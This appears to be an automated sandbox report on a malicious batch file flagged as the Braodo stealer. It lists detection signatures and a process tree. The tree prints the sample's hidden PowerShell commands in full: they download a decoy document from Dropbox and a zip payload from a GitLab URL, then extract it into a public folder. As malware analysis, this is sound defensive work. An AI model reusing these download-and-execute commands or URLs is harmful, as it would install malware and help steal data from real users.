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Windows
Analysis Report
hkjsdhf01.bat
Overview
General Information
Detection
Abobus Obfuscator, Braodo
Score: | 92 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Yara detected Abobus Obfuscator
Yara detected Braodo
Yara detected Powershell download and execute
AI detected suspicious sample
Powershell drops PE file
Sigma detected: PowerShell DownloadFile
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder
Suspicious powershell command line found
Tries to download and execute files (via powershell)
Binary contains a suspicious time stamp
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains executable resources (Code or Archives)
PE file contains more sections than normal
PE file contains sections with non-standard names
PE file does not import any functions
Queries the volume information (name, serial number etc) of a device
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: PowerShell Download Pattern
Sigma detected: PowerShell Web Download
Sigma detected: Usage Of Web Request Commands And Cmdlets
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Classification
- System is w10x64
- cmd.exe (PID: 3700 cmdline:
C:\Windows \system32\ cmd.exe /c ""C:\User s\user\Des ktop\hkjsd hf01.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 3200 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - chcp.com (PID: 3992 cmdline:
chcp.com 4 37 MD5: 33395C4732A49065EA72590B14B64F32) - findstr.exe (PID: 1472 cmdline:
fIndstr /L /I set "C :\Users\us er\Desktop \hkjsdhf01 .bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5) - findstr.exe (PID: 4340 cmdline:
fIndstr /L /I goto " C:\Users\u ser\Deskto p\hkjsdhf0 1.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5) - findstr.exe (PID: 3260 cmdline:
fIndstr /L /I echo " C:\Users\u ser\Deskto p\hkjsdhf0 1.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5) - findstr.exe (PID: 5388 cmdline:
fIndstr /L /I pause "C:\Users\ user\Deskt op\hkjsdhf 01.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5) - find.exe (PID: 1708 cmdline:
find MD5: 4BF76A28D31FC73AA9FC970B22D056AF) - cmd.exe (PID: 4016 cmdline:
C:\Windows \system32\ cmd.exe /c type tmp MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - find.exe (PID: 4052 cmdline:
find MD5: 4BF76A28D31FC73AA9FC970B22D056AF) - cmd.exe (PID: 3560 cmdline:
C:\Windows \system32\ cmd.exe /c type tmp MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - powershell.exe (PID: 4976 cmdline:
powershell .exe -Wind owStyle Hi dden -Comm and "[Net. ServicePoi ntManager] ::Security Protocol = [Net.Secu rityProtoc olType]::T ls12; (New -Object -T ypeName Sy stem.Net.W ebClient). DownloadFi le('https: //www.drop box.com/sc l/fi/1j0td l6c1f2jgqw gj83cc/Cam paign_Info rmation_fo r_Partners _0112.docx ?rlkey=sjm ycct7w8h2m ttl0w52sn1 7f&st=xibb oq70&dl=1' , 'C:\User s\user\App Data\Local \Temp\\Cam paign_Info rmation_fo r_Partners _0112.docx ')" MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 5824 cmdline:
powershell -WindowSt yle Hidden -Command "Start-Pro cess 'C:\U sers\user\ AppData\Lo cal\Temp\\ Campaign_I nformation _for_Partn ers_0112.d ocx'" MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 3260 cmdline:
powershell .exe -Wind owStyle Hi dden -Comm and "[Net. ServicePoi ntManager] ::Security Protocol = [Net.Secu rityProtoc olType]::T ls12; (New -Object -T ypeName Sy stem.Net.W ebClient). DownloadFi le('https: //gitlab.c om/zz77474 8/suun/-/r aw/main/Fu kRUN01.zip ', 'C:\Use rs\Public\ Document.z ip')" MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 2032 cmdline:
powershell .exe -Wind owStyle Hi dden -Comm and "Add-T ype -Assem blyName Sy stem.IO.Co mpression. FileSystem ; [System. IO.Compres sion.ZipFi le]::Extra ctToDirect ory('C:/Us ers/Public /Document. zip', 'C:/ Users/Publ ic/Documen t')" MD5: 04029E121A0CFA5991749937DD22A1D9)
- cleanup
⊘No configs have been found
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_AbobusObfuscator | Yara detected Abobus Obfuscator | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Braodo_1 | Yara detected Braodo | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
JoeSecurity_Braodo_1 | Yara detected Braodo | Joe Security | ||
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
JoeSecurity_Braodo_1 | Yara detected Braodo | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
JoeSecurity_Braodo_1 | Yara detected Braodo | Joe Security | ||
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security |
System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: frack113, Nasreddine Bencherchali (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: |
Source: | Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): |
⊘No Suricata rule has matched
Click to jump to signature section
Show All Signature Results
AV Detection |
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Source: | Integrated Neural Analysis Model: |
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Source: | JA3 fingerprint: |
Source: | UDP traffic detected without corresponding DNS query: | ||
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